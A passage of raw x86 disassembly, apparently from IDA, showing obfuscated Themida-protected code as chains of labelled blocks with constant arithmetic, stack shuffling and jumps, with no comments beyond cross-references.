		sub	edi, 7FDA0B05h
		sub	edi, 9DB0F43Fh
		sub	esi, edi
		pop	edi
		add	esi, ebx
		jmp	loc_5700DB
; ---------------------------------------------------------------------------


loc_56AB32:				; CODE XREF: sub_55EDA7+77B5j
		push	ebp
		mov	ebp, 671E1A1Dh
		jmp	loc_5729C6
; ---------------------------------------------------------------------------


loc_56AB3D:				; CODE XREF: sub_55EDA7+D869j
		xor	ecx, 79661C4Bh
		sub	ecx, 0BEA860BEh
		add	eax, ecx
		mov	ecx, [esp+30h+var_32+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+34h+var_36+2]
		jmp	loc_570A75
; ---------------------------------------------------------------------------


loc_56AB62:				; CODE XREF: sub_55EDA7+12946j
		pop	eax
		jmp	loc_563B9B
; ---------------------------------------------------------------------------


loc_56AB68:				; CODE XREF: Themida_:0055E96Ej
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_561FF0
; ---------------------------------------------------------------------------


loc_56AB71:				; CODE XREF: sub_55EDA7+FE09j
		sub	edx, 0FFFFFFFFh
		and	edx, 29E72BEEh
		jmp	loc_56E663
; ---------------------------------------------------------------------------


loc_56AB7F:				; CODE XREF: sub_55EDA7+AFD4j
		xor	ebp, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebp
		xor	ebp, [esp-4+arg_0]
		pop	esp
		jmp	loc_567961
; ---------------------------------------------------------------------------


loc_56AB8E:				; CODE XREF: sub_55EDA7+16E2j
		pop	ebx
		and	ch, 12h
		push	eax
		mov	al, 0EAh
		push	ecx
		mov	ch, al
		not	ch
		mov	al, ch
		pop	ecx
		push	edx
		jmp	loc_5661FB
; ---------------------------------------------------------------------------


loc_56ABA3:				; CODE XREF: sub_55EDA7+65E0j
		mov	[esp-4+arg_0], edi
		mov	edi, esp
		push	ebp
		jmp	loc_56EEFA
; ---------------------------------------------------------------------------


loc_56ABAE:				; CODE XREF: sub_55EDA7+836Dj
		mov	ebp, 41964BD6h
		jmp	loc_56E072
; ---------------------------------------------------------------------------


loc_56ABB8:				; CODE XREF: sub_55EDA7+2048j
		pop	ebx
		dec	ebx
		xor	ebx, 625F5B8Ch
		jmp	loc_572D55
; ---------------------------------------------------------------------------


loc_56ABC5:				; CODE XREF: sub_55EDA7+6F80j
		sub	eax, 0A0BF1871h
		sub	esi, eax
		pop	eax
		pop	edi
		push	ebp
		sub	esp, 4
		mov	[esp+2Ah+var_2A], eax
		push	7936h
		mov	[esp+2Eh+var_2E], edi
		jmp	loc_5714A0
; ---------------------------------------------------------------------------


loc_56ABE5:				; CODE XREF: sub_55EDA7+16F9j
		push	ebp
		mov	ebx, [esp-0Ah+arg_4+2]
		add	esp, 4
		push	[esp-0Eh+arg_8+2]
		jmp	loc_561105
; ---------------------------------------------------------------------------


loc_56ABF7:				; CODE XREF: sub_55EDA7+9C95j
		xor	edx, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		push	6389h
		mov	[esp-14h+arg_10], ebx
		push	76CCh
		jmp	loc_56E2A1
; ---------------------------------------------------------------------------


loc_56AC0F:				; CODE XREF: sub_55EDA7+DADEj
		push	2F25h
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 4
		push	edi
		mov	edi, 4EB00592h
		add	ecx, edi
		pop	edi
		sub	ecx, 17DA2BF2h
		add	ecx, eax
		push	ebx
		push	ecx
		push	eax
		push	5B59021Ch
		pop	eax
		push	ecx
		mov	ecx, 0DC60D188h
		jmp	loc_561308
; ---------------------------------------------------------------------------


loc_56AC41:				; CODE XREF: sub_55EDA7+5082j
		pop	[esp+16h+var_16]
		jmp	loc_56A4E6
; ---------------------------------------------------------------------------


loc_56AC49:				; CODE XREF: Themida_:005716F6j
		sub	esp, 4
		mov	[esp+16h+var_16], ecx
		push	4B73h
		push	esp
		pop	[esp+1Eh+var_1E]
		add	[esp+1Ah+var_1A], 4
		pop	ecx
		add	ecx, 4
		push	18B5h
		mov	[esp+1Ah+var_1A], eax
		jmp	loc_5667AB
; ---------------------------------------------------------------------------


loc_56AC73:				; CODE XREF: sub_55EDA7+7F5Bj
		mov	ebx, [esp-16h+arg_10+2]
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_56E6DE
; ---------------------------------------------------------------------------


loc_56AC7F:				; CODE XREF: sub_55EDA7+4287j
		xchg	esi, [esp-24h+arg_20]
		jmp	loc_56A7B2
; ---------------------------------------------------------------------------


loc_56AC87:				; CODE XREF: sub_55EDA7+5FA3j
		add	eax, 4
		jmp	loc_57073C
; ---------------------------------------------------------------------------


loc_56AC8F:				; CODE XREF: sub_55EDA7+29C3j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56AC94:				; CODE XREF: sub_55EDA7+1277Aj
		add	esi, 65A87FF2h
		pop	edx
		xchg	esi, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_56E286
; ---------------------------------------------------------------------------


loc_56ACA4:				; CODE XREF: sub_55EDA7+1EAj
		add	esi, 4
		xchg	esi, [esp+30h+var_32+2]
		pop	esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp+30h+var_32+2], ebx
		push	2
		mov	ebx, [esp+34h+var_36+2]
		add	esp, 4
		sub	ebp, 39F81509h
		add	ebp, ebx
		jmp	loc_566C17
; ---------------------------------------------------------------------------


loc_56ACD2:				; CODE XREF: sub_55EDA7+175Fj
		add	ecx, 63F4305Dh
		add	ecx, eax
		push	esi
		push	eax
		push	3E0C13CDh
		pop	eax
		neg	eax
		sub	eax, 5DFFBBD6h
		mov	esi, eax
		pop	eax
		sub	ecx, esi
		pop	esi
		mov	eax, [esp-12h+arg_C+2]
		add	esp, 4
		xor	ebp, ecx
		push	[esp-16h+arg_10+2]
		pop	ecx
		add	esp, 4
		jmp	loc_56ED23
; ---------------------------------------------------------------------------


loc_56AD06:				; CODE XREF: sub_55EDA7+10B56j
		push	ebp
		pop	esi
		jmp	loc_561DC9
; ---------------------------------------------------------------------------


loc_56AD0D:				; CODE XREF: sub_55EDA7+D576j
		mov	edx, [esp-1Ah+arg_14+2]
		add	esp, 4
		xchg	ebp, [esp-1Eh+arg_18+2]
		mov	esp, [esp-1Eh+arg_18+2]
		and	eax, ebp
		mov	ebp, [esp-1Eh+arg_18+2]
		add	esp, 4
		or	eax, eax
		jz	loc_572898
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 3694239Eh
		add	[esp-1Ah+arg_18+2], 73E91F9Fh
		sub	[esp-1Ah+arg_18+2], ebp
		sub	[esp-1Ah+arg_18+2], 73E91F9Fh
		push	[esp-1Ah+arg_14+2]
		push	[esp-16h+arg_10+2]
		pop	ebp
		add	esp, 4
		push	esi
		jmp	loc_566B81
; ---------------------------------------------------------------------------


loc_56AD5C:				; CODE XREF: sub_55EDA7+347Fj
		xor	ebp, 3A620CE6h
		xor	edx, ebp
		jmp	loc_567C68
; ---------------------------------------------------------------------------


loc_56AD69:				; CODE XREF: sub_55EDA7+C5F6j
		add	esp, 4
		push	edx
		mov	dh, 3Eh
		jmp	loc_56AA75
; ---------------------------------------------------------------------------


loc_56AD74:				; CODE XREF: sub_55EDA7+2D78j
		add	edi, 4
		push	eax
		mov	eax, 2EFD2079h
		push	eax
		dec	[esp+12h+var_12]
		pop	eax
		jmp	loc_56D4A6
; ---------------------------------------------------------------------------


loc_56AD8A:				; CODE XREF: sub_55EDA7+12B79j
		push	[esp+0Eh+var_E]
		jmp	loc_568029
; ---------------------------------------------------------------------------


loc_56AD92:				; CODE XREF: sub_55EDA7+5D8Ej
		or	eax, eax
		jz	loc_56A29B
		push	dword ptr [edi+1Ch]
		push	[esp-20h+arg_1C]
		jmp	loc_56FF1D
; ---------------------------------------------------------------------------


loc_56ADA5:				; CODE XREF: sub_55EDA7+B705j
		pop	eax
		inc	eax
		xor	eax, 11ED6964h
		xor	eax, 81E7A141h
		add	edx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_56C95B
; ---------------------------------------------------------------------------


loc_56ADBC:				; CODE XREF: sub_55EDA7+4640j
		pop	esp
		push	esi
		mov	esi, 724737C2h
		xchg	ebx, esi
		jmp	loc_570369
; ---------------------------------------------------------------------------


loc_56ADCA:				; CODE XREF: sub_56C6B9+1E87j
		mov	[esp-8+arg_4], edi
		mov	edx, [esp-8+arg_4]
		push	edx
		push	602Ch
		mov	[esp+0], esp
		jmp	loc_56C24E
; ---------------------------------------------------------------------------


loc_56ADDE:				; CODE XREF: sub_55EDA7+CE31j
		add	edx, 10A45E96h
		sub	edx, 77AF39E7h
		mov	ecx, [esp+0]
		push	ebp
		push	3B76h
		jmp	loc_570147
; ---------------------------------------------------------------------------


loc_56ADF8:				; CODE XREF: sub_55EDA7+7B08j
		push	eax
		pop	edi
		pop	eax
		sub	edi, edx
		pop	edx
		jmp	loc_565C51
; ---------------------------------------------------------------------------
		push	2379h
		jmp	loc_571AAF
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Eh+var_1E]
		push	edx
		jmp	loc_56697E
; ---------------------------------------------------------------------------


loc_56AE17:				; CODE XREF: sub_55EDA7+EEB9j
		push	0CC327420h
		pop	edx
		jmp	loc_56B9FD
; ---------------------------------------------------------------------------


loc_56AE22:				; CODE XREF: sub_55EDA7+199Dj
		push	eax
		jmp	loc_56704D
; ---------------------------------------------------------------------------


loc_56AE28:				; CODE XREF: sub_56F4DD+2F98j
		pop	ecx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56AE2E:				; CODE XREF: sub_55EDA7+13724j
		add	esi, 51B67A5Eh
		jmp	loc_56EFCA
; ---------------------------------------------------------------------------


loc_56AE39:				; CODE XREF: sub_55EDA7+10262j
		pop	ebp
		sub	esi, ecx
		mov	ecx, [esp-2Ch+arg_28]
		add	esp, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-34h+arg_30]
		mov	esp, [esp-34h+arg_30]
		push	[esp-34h+arg_30]
		pop	eax
		push	159h
		mov	[esp-30h+arg_2C], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55FD60
; ---------------------------------------------------------------------------


loc_56AE6B:				; CODE XREF: sub_55EDA7+E17j
		push	ebx
		jmp	loc_55E371
; ---------------------------------------------------------------------------


loc_56AE71:				; CODE XREF: sub_55EDA7+8A41j
		push	edi
		mov	edi, 5260750Ah
		xor	ecx, edi
		pop	edi
		push	edi
		mov	edi, 12300317h
		xor	ecx, edi
		jmp	loc_5606E2
; ---------------------------------------------------------------------------


loc_56AE87:				; CODE XREF: sub_55EDA7+8FDBj
		add	esp, 4
		mov	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 7E33A7Eh
		shl	edi, 7
		sub	edi, 0F7498927h
		add	esi, edi
		jmp	loc_562D39
; ---------------------------------------------------------------------------


loc_56AEA6:				; CODE XREF: sub_55EDA7+E75Fj
		add	eax, 328CD73Ch
		mov	edi, eax
		jmp	loc_55F3F7
; ---------------------------------------------------------------------------


loc_56AEB2:				; CODE XREF: sub_55EDA7+EB07j
		sub	esp, 4
		mov	[esp+2Eh+var_2E], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+2Eh+var_2E]
		xor	[esp+2Eh+var_2E], edx
		xor	edx, [esp+2Eh+var_2E]
		jmp	loc_56335A
; ---------------------------------------------------------------------------


loc_56AED4:				; CODE XREF: sub_55EDA7+1853j
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ecx
		push	ebx
		mov	bl, 2Bh
		push	edx
		push	eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		mov	ch, dl
		pop	edx
		pop	ebx
		add	ch, 2Dh
		neg	ch
		xor	ch, 0A4h
		dec	ch
		push	34B9h
		mov	[esp-8+arg_4], edx
		mov	dl, 0A4h
		or	dl, 7Ah
		add	dl, 0DDh
		jmp	loc_572970
; ---------------------------------------------------------------------------


loc_56AF07:				; CODE XREF: sub_55EDA7+EB4Ej
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-8+arg_4]
		pop	esp
		push	eax
		mov	eax, 5B323E37h
		dec	eax
		add	eax, 52BB68E9h
		not	eax
		jmp	loc_569119
; ---------------------------------------------------------------------------


loc_56AF28:				; CODE XREF: sub_55EDA7+700Fj
		add	edi, esi
		sub	edi, 1F4BEEh
		pop	esi
		add	edi, 0FFFFFFFFh
		push	ebx
		jmp	loc_569FEF
; ---------------------------------------------------------------------------


loc_56AF3D:				; CODE XREF: sub_55EDA7+9358j
		pop	edx
		sub	ebx, 0B04AEF86h
		mov	edx, ebx
		push	[esp+6+var_8+2]
		pop	ebx
		add	esp, 4
		push	ecx
		mov	ecx, 0A84AEF75h
		jmp	loc_571B71
; ---------------------------------------------------------------------------


loc_56AF5B:				; CODE XREF: sub_55EDA7+13758j
		xor	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, 7BA8121Ah
		shr	eax, 5
		xor	eax, 3DD40B0h
		add	eax, edi
		add	[eax], ebp
		pop	eax
		jmp	loc_55F069
; ---------------------------------------------------------------------------


loc_56AF76:				; CODE XREF: sub_55EDA7+281Aj
		sub	[esp+1Ch+var_1A+2], 6308142Ah
		add	[esp+1Ch+var_1A+2], eax
		add	[esp+1Ch+var_1A+2], 6308142Ah
		push	[esp+1Ch+var_1E+2]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+20h+var_22+2]
		pop	esp
		push	[esp+1Ch+var_1E+2]
		jmp	loc_561233
; ---------------------------------------------------------------------------


loc_56AFA5:				; CODE XREF: sub_55EDA7+122D1j
		mov	[esp+20h+var_22+2], eax
		mov	eax, 72DE56D8h
		shr	eax, 7
		xor	eax, 3FDE9C10h
		sub	eax, 18FB4706h
		or	eax, 3B8E70A4h
		inc	eax
		push	edi
		jmp	loc_56A86A
; ---------------------------------------------------------------------------


loc_56AFC6:				; CODE XREF: sub_55EDA7+8DC4j
		sub	esi, 0AE65D04h
		push	1AF2h
		jmp	loc_571945
; ---------------------------------------------------------------------------


loc_56AFD6:				; CODE XREF: sub_55EDA7+CB59j
		xor	edi, ecx
		pop	ecx
		add	esi, edi
		pop	edi
		add	esi, 2
		jmp	loc_5669FE
; ---------------------------------------------------------------------------


loc_56AFE4:				; CODE XREF: sub_55EDA7+97BEj
		push	ebp
		jmp	loc_572A95
; ---------------------------------------------------------------------------


loc_56AFEA:				; CODE XREF: sub_55EDA7+9E8j
		add	esp, 4
		push	edx
		jmp	loc_56EB31
; ---------------------------------------------------------------------------


loc_56AFF6:				; CODE XREF: sub_55EDA7+7FDj
		pop	eax
		jmp	loc_570797
; ---------------------------------------------------------------------------


loc_56AFFC:				; CODE XREF: sub_55EDA7+3E2Ej
		push	edx
		mov	edx, 2BCA4405h
		and	edx, 21B55D2Bh
		sub	edx, 0C5CB1942h
		jmp	loc_560719
; ---------------------------------------------------------------------------


loc_56B013:				; CODE XREF: sub_55EDA7+10207j
		mov	[esp-24h+arg_20], ebp
		push	[esp-24h+arg_24]
		mov	ebp, [esp-20h+arg_1C]
		jmp	loc_560BEC
; ---------------------------------------------------------------------------


loc_56B022:				; CODE XREF: sub_55EDA7+74CDj
		xor	ebx, 70FD0AA1h
		jmp	loc_56B46A
; ---------------------------------------------------------------------------


loc_56B02D:				; CODE XREF: sub_55EDA7+2BF0j
		add	eax, 187ECC6Fh
		sub	esi, eax
		pop	eax
		jmp	loc_56D077
; ---------------------------------------------------------------------------


loc_56B03A:				; CODE XREF: sub_55EDA7+F025j
		pop	ebx
		push	ebp
		jmp	loc_564680
; ---------------------------------------------------------------------------


loc_56B041:				; CODE XREF: Themida_:0056BD52j
		mov	ebx, 4
		jmp	loc_56384A
; ---------------------------------------------------------------------------


loc_56B04B:				; CODE XREF: sub_55EDA7+4978j
		add	eax, 74811D62h
		mov	esi, [esp-20h+arg_1C]
		add	esp, 4
		push	edi
		jmp	loc_562EFF
; ---------------------------------------------------------------------------


loc_56B05F:				; CODE XREF: sub_55EDA7+AF31j
		pop	ecx
		push	edi
		mov	edi, 292D1C74h
		shr	edi, 3
		not	edi
		jmp	loc_568A63
; ---------------------------------------------------------------------------


loc_56B070:				; CODE XREF: sub_55EDA7+1054j
		mov	esi, 37DB704Fh
		add	ebp, 52754512h
		add	ebp, esi
		sub	ebp, 52754512h
		pop	esi
		pop	edx
		xchg	ebp, [esp-22h+arg_1C+2]
		jmp	loc_572B9D
; ---------------------------------------------------------------------------


loc_56B08D:				; CODE XREF: sub_55EDA7+C5B2j
		pop	eax
		add	ecx, 4
		sub	esp, 4
		mov	[esp-22h+arg_1C+2], ecx
		push	[esp-22h+arg_20+2]
		pop	ecx
		pop	[esp-22h+arg_1C+2]
		mov	esp, [esp-26h+arg_20+2]
		push	ebp
		jmp	loc_572CC6
; ---------------------------------------------------------------------------


loc_56B0AB:				; CODE XREF: sub_55EDA7+11F01j
		mov	[esp-22h+arg_1C+2], eax
		push	edx
		push	ebx
		mov	bl, 0B0h
		mov	dl, 0A8h
		jmp	loc_561A12
; ---------------------------------------------------------------------------


loc_56B0B9:				; CODE XREF: sub_55EDA7+A2BCj
		xor	ebx, [esp-30h+arg_2C]
		pop	esp
		mov	[esp-34h+arg_30], ebp
		mov	ebp, esp
		push	esi
		push	eax
		push	31F8387Ch
		pop	eax
		push	edi
		mov	edi, 57404407h
		push	0
		sub	[esp-24h+arg_20], edi
		pop	edi
		shl	edi, 5
		inc	edi
		shl	edi, 1
		xor	edi, 7D5151Dh
		xor	edi, 347CD727h
		xor	eax, edi
		pop	edi
		push	edx
		jmp	loc_56344B
; ---------------------------------------------------------------------------


loc_56B0F4:				; CODE XREF: sub_55EDA7+4F66j
		xchg	esi, ecx
		pop	esi
		xor	ecx, 0D9DE43DBh
		sub	esi, ecx
		pop	ecx
		add	esi, edx
		add	esi, 5DFA7222h
		pop	edx
		mov	eax, [esp-1Ch+arg_18]
		add	esp, 4
		jmp	loc_567522
; ---------------------------------------------------------------------------


loc_56B114:				; CODE XREF: sub_55EDA7+860Aj
		mov	al, 19h
		mov	dh, al
		mov	eax, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_E+2]
		pop	esp
		xor	bh, dh
		mov	dx, word ptr [esp+8+var_8]
		push	7133h
		mov	[esp+0Ch+var_E+2], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 2
		jmp	loc_56175D
; ---------------------------------------------------------------------------


loc_56B152:				; CODE XREF: sub_55EDA7+6DD4j
		push	ebx
		mov	ebx, 2E8F3B9Eh
		push	esi
		jmp	loc_56BFDE
; ---------------------------------------------------------------------------


loc_56B15E:				; CODE XREF: sub_55EDA7+128FBj
		push	ecx
		push	0
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	ecx, eax
		push	ecx
		jmp	loc_565C12
; ---------------------------------------------------------------------------


loc_56B175:				; CODE XREF: sub_55EDA7+4153j
		mov	edi, 41EF0A5Ch
		jmp	loc_56F0AE
; ---------------------------------------------------------------------------


loc_56B17F:				; CODE XREF: sub_55EDA7+13F0Aj
		neg	cl
		dec	cl
		xor	cl, 11h
		add	al, cl
		pop	ecx
		jmp	loc_56B882
; ---------------------------------------------------------------------------


loc_56B18E:				; CODE XREF: sub_55EDA7+8414j
		xor	ebx, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		jmp	sub_56C469
; ---------------------------------------------------------------------------


loc_56B199:				; CODE XREF: sub_55EDA7-5A5j
		pop	edx
		add	edi, edx
		add	edi, 505576AFh
		pop	edx
		add	edi, ebx
		push	ebx
		mov	ebx, 1DD1A15h
		sub	edi, ebx
		mov	ebx, [esp-28h+arg_24]
		add	esp, 4
		jmp	loc_56A1F5
; ---------------------------------------------------------------------------


loc_56B1B8:				; CODE XREF: sub_55EDA7+888Ej
		mov	dh, 24h
		and	dh, 14h
		push	ebx
		mov	bl, 27h
		add	dh, bl
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		or	al, dh
		pop	edx
		push	31F9h
		mov	[esp+12h+var_12], ecx
		mov	ch, 0Ah
		sub	al, ch
		pop	ecx
		add	bl, al
		push	[esp+0Eh+var_E]
		pop	eax
		add	esp, 4
		add	bl, 0Fh
		jmp	loc_5700F0
; ---------------------------------------------------------------------------


loc_56B1E9:				; CODE XREF: sub_55EDA7+10825j
		mov	edi, 3A5459EAh
		sub	ebx, edi
		pop	edi
		add	ebx, esi
		add	ebx, 3A5459EAh
		pop	esi
		add	ebx, 4
		jmp	loc_564262
; ---------------------------------------------------------------------------


loc_56B202:				; CODE XREF: sub_55EDA7+8844j
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		dec	dh
		push	ecx
		mov	cl, 97h
		jmp	loc_55ECAD
; ---------------------------------------------------------------------------


loc_56B215:				; CODE XREF: sub_55EDA7+1241Cj
		or	esi, 0DFA0B2Eh
		or	esi, 7E6544F3h
		or	esi, 4F9B1EFCh
		sub	esi, 2070391Bh
		add	eax, esi
		jmp	loc_56F69C
; ---------------------------------------------------------------------------


loc_56B234:				; CODE XREF: sub_55EDA7+35EEj
		push	ebp
		mov	ebp, 321C62D6h
		shr	ebp, 5
		or	ebp, 42EF11BEh
		inc	ebp
		sub	ebp, 0EA759EACh
		sub	edx, ebp
		pop	ebp
		jmp	loc_5697DA
; ---------------------------------------------------------------------------


loc_56B252:				; CODE XREF: sub_55EDA7+B1A6j
		add	ecx, eax
		jmp	loc_562BAA
; ---------------------------------------------------------------------------


loc_56B259:				; CODE XREF: sub_55EDA7+13641j
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, 15720168h
		jmp	loc_567152
; ---------------------------------------------------------------------------


loc_56B272:				; CODE XREF: sub_55EDA7+568Bj
		mov	edi, [esp-18h+arg_14]
		add	esp, 4
		xor	ebx, [esp-1Ch+arg_18]
		jmp	loc_5671B8
; ---------------------------------------------------------------------------


loc_56B283:				; CODE XREF: sub_55EDA7+ACA9j
		pop	ecx
		push	ecx
		mov	ecx, 15F2475Bh
		add	ecx, 0EA0DB8A9h
		sub	edi, ecx
		pop	ecx
		xor	edi, [esp+32h+var_32]
		xor	[esp+32h+var_32], edi
		xor	edi, [esp+32h+var_32]
		mov	esp, [esp+32h+var_32]
		mov	[esp+32h+var_32], ebp
		push	3833h
		mov	[esp+36h+var_36], ebx
		mov	ebp, [esp+36h+var_36]
		add	esp, 4
		push	ebp
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_57072B
; ---------------------------------------------------------------------------


loc_56B2BF:				; CODE XREF: sub_55EDA7+125C6j
		mov	[esp+32h+var_32], ebx
		push	[esp+32h+var_2E]
		push	[esp+36h+var_36]
		jmp	loc_568981
; ---------------------------------------------------------------------------


loc_56B2CE:				; CODE XREF: sub_55EDA7+67FFj
		pop	ecx
		mov	ebp, eax
		push	[esp-2Ch+arg_28]
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_56DE7F
; ---------------------------------------------------------------------------


loc_56B2E5:				; CODE XREF: sub_55EDA7+9EA8j
		pop	edi
		add	esp, 4
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], edi
		push	2BF6h
		jmp	loc_56BB6E
; ---------------------------------------------------------------------------


loc_56B2FF:				; CODE XREF: sub_55EDA7+DDA5j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebx
		jmp	sub_56BC4C
; ---------------------------------------------------------------------------


loc_56B30E:				; CODE XREF: sub_55EDA7+934Bj
		add	edi, 4
		sub	edi, 4
		jmp	loc_561D14
; ---------------------------------------------------------------------------


loc_56B31F:				; CODE XREF: sub_55EDA7+49E2j
		pop	esp
		push	516h
		mov	[esp-14h+arg_10], eax
		push	edx
		mov	edx, 171D4AB6h
		sub	edx, 0F06A2309h
		mov	eax, edx
		jmp	loc_563CF8
; ---------------------------------------------------------------------------


loc_56B33B:				; CODE XREF: sub_55EDA7+2EDAj
		pop	edi
		push	7068h
		mov	[esp+8+var_8], edi
		mov	edi, esp
		jmp	loc_572D29
; ---------------------------------------------------------------------------


loc_56B34B:				; CODE XREF: sub_55EDA7+7306j
		mov	ecx, [esp-1Ch+arg_18]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_56B08D
; ---------------------------------------------------------------------------


loc_56B35E:				; CODE XREF: sub_55EDA7+108FBj
		shl	eax, 2
		push	ebx
		mov	ebx, 3DE46748h
		or	ebx, 252E72A2h
		jmp	loc_560794
; ---------------------------------------------------------------------------


loc_56B372:				; CODE XREF: sub_55EDA7+AFA4j
		mov	[esp-4+arg_0], esi
		jmp	sub_56BF99
; ---------------------------------------------------------------------------


loc_56B37A:				; CODE XREF: sub_55EDA7+1D87j
		push	ebx
		push	[esp+2Ah+var_26]
		jmp	loc_561CF0
; ---------------------------------------------------------------------------


loc_56B384:				; CODE XREF: sub_55EDA7+FAE4j
		pop	edi
		push	47D4h
		mov	[esp+2Eh+var_2E], ebp
		mov	ebp, 3C9C3F0Fh
		shl	ebp, 5
		jmp	loc_56D123
; ---------------------------------------------------------------------------


loc_56B39A:				; CODE XREF: Themida_:0056C684j
		mov	edx, [esp+2Eh+var_2E]
		jmp	loc_56AD69
; ---------------------------------------------------------------------------


loc_56B3A2:				; CODE XREF: sub_55EDA7+B43Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+3Ah+var_36]
		pop	edi
		pop	[esp+3Ah+var_3A]
		pop	esp
		sub	ch, 88h
		shl	ch, 8
		push	ax
		push	ecx
		mov	ch, 72h
		mov	al, ch
		jmp	loc_566789
; ---------------------------------------------------------------------------


loc_56B3CC:				; CODE XREF: sub_55EDA7+E5D2j
		push	eax
		push	4B6Ch
		jmp	loc_56A758
; ---------------------------------------------------------------------------


loc_56B3D7:				; CODE XREF: sub_55EDA7+36B1j
		neg	edi
		xor	edi, 71882A8Fh
		shr	edi, 6
		jmp	loc_56CA61
; ---------------------------------------------------------------------------


loc_56B3E7:				; CODE XREF: sub_55EDA7+12180j
		add	edi, 1AF37484h
		sub	edi, 48AD3A8Eh
		add	edi, 33E27FB7h
		add	edi, esi
		jmp	loc_56E307
; ---------------------------------------------------------------------------


loc_56B400:				; CODE XREF: sub_55EDA7+19A3j
		mov	edx, [esp-2Ch+arg_28]
		jmp	loc_56FDDC
; ---------------------------------------------------------------------------


loc_56B408:				; CODE XREF: sub_55EDA7+9F76j
		and	ecx, 6D734854h
		not	ecx
		add	ecx, 368F4C3Bh
		xor	ecx, 315E43EEh
		push	ecx
		xor	dword ptr [esp+0], 547A1BFCh
		pop	ebp
		jmp	loc_56D23F
; ---------------------------------------------------------------------------


loc_56B42A:				; CODE XREF: Themida_:00570C86j
		add	esp, 4
		jmp	loc_56EA22
; ---------------------------------------------------------------------------


loc_56B432:				; CODE XREF: sub_55EDA7+39B9j
		add	esi, 4
		push	eax
		mov	eax, 625911E2h
		jmp	loc_562521
; ---------------------------------------------------------------------------


loc_56B443:				; CODE XREF: sub_55EDA7+9B2Aj
		inc	ebx
		jmp	loc_57133C
; ---------------------------------------------------------------------------


loc_56B449:				; CODE XREF: sub_55EDA7+A41Dj
		not	edx
		add	edx, 62A875C4h
		sub	edx, 0C53C874Ch
		sub	ebp, edx
		pop	edx
		mov	edi, ebp
		push	[esp+18h+var_1A+2]
		pop	ebp
		add	esp, 4
		add	ebp, edi
		jmp	loc_571621
; ---------------------------------------------------------------------------


loc_56B46A:				; CODE XREF: sub_55EDA7+C281j
		neg	ebx
		sub	ebx, 0FE00E0E3h
		add	ebp, 2EAB59F5h
		add	ebp, ebx
		jmp	loc_571679
; ---------------------------------------------------------------------------


loc_56B47F:				; CODE XREF: sub_55EDA7+BA6j
		xchg	ecx, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_5651A3
; ---------------------------------------------------------------------------


loc_56B488:				; CODE XREF: sub_55EDA7+6571j
		mov	ecx, 78010EB3h
		not	ecx
		inc	ecx
		push	edi
		mov	edi, 62C402FEh
		xor	ecx, edi
		pop	edi
		inc	ecx
		push	esi
		mov	esi, 463C329Bh
		and	ecx, esi
		pop	esi
		xor	ecx, 44383294h
		add	eax, ecx
		push	[esp+1Eh+var_1E]
		pop	ecx
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp+1Ah+var_1A]
		mov	esp, [esp+1Ah+var_1A]
		jmp	loc_55E45C
; ---------------------------------------------------------------------------


loc_56B4C3:				; CODE XREF: sub_55EDA7+83CBj
		mov	ebx, esp
		push	ebp
		mov	ebp, 52F915F1h
		shr	ebp, 7
		and	ebp, 7F3D1C43h
		or	ebp, 10604985h
		add	ebp, 0EF9AA67Dh
		add	ebx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp-20h+arg_1C]
		add	esp, 4
		xchg	ebx, [esp-24h+arg_20]
		jmp	loc_561B1E
; ---------------------------------------------------------------------------


loc_56B4FC:				; CODE XREF: sub_55EDA7+12142j
		xor	esi, edx
		pop	edx
		dec	esi
		jmp	loc_5676BF
; ---------------------------------------------------------------------------


loc_56B505:				; CODE XREF: sub_55EDA7+2633j
		xchg	ebp, [esp-14h+arg_10]
		jmp	loc_56FC1C
; ---------------------------------------------------------------------------


loc_56B50D:				; CODE XREF: sub_55EDA7+67B7j
		add	edx, ebx
		jmp	loc_5629D1
; ---------------------------------------------------------------------------


loc_56B514:				; CODE XREF: sub_55EDA7+101Aj
		or	ebp, ecx
		mov	ecx, [esp-1Ah+arg_14+2]
		add	esp, 4
		jmp	loc_5640A2
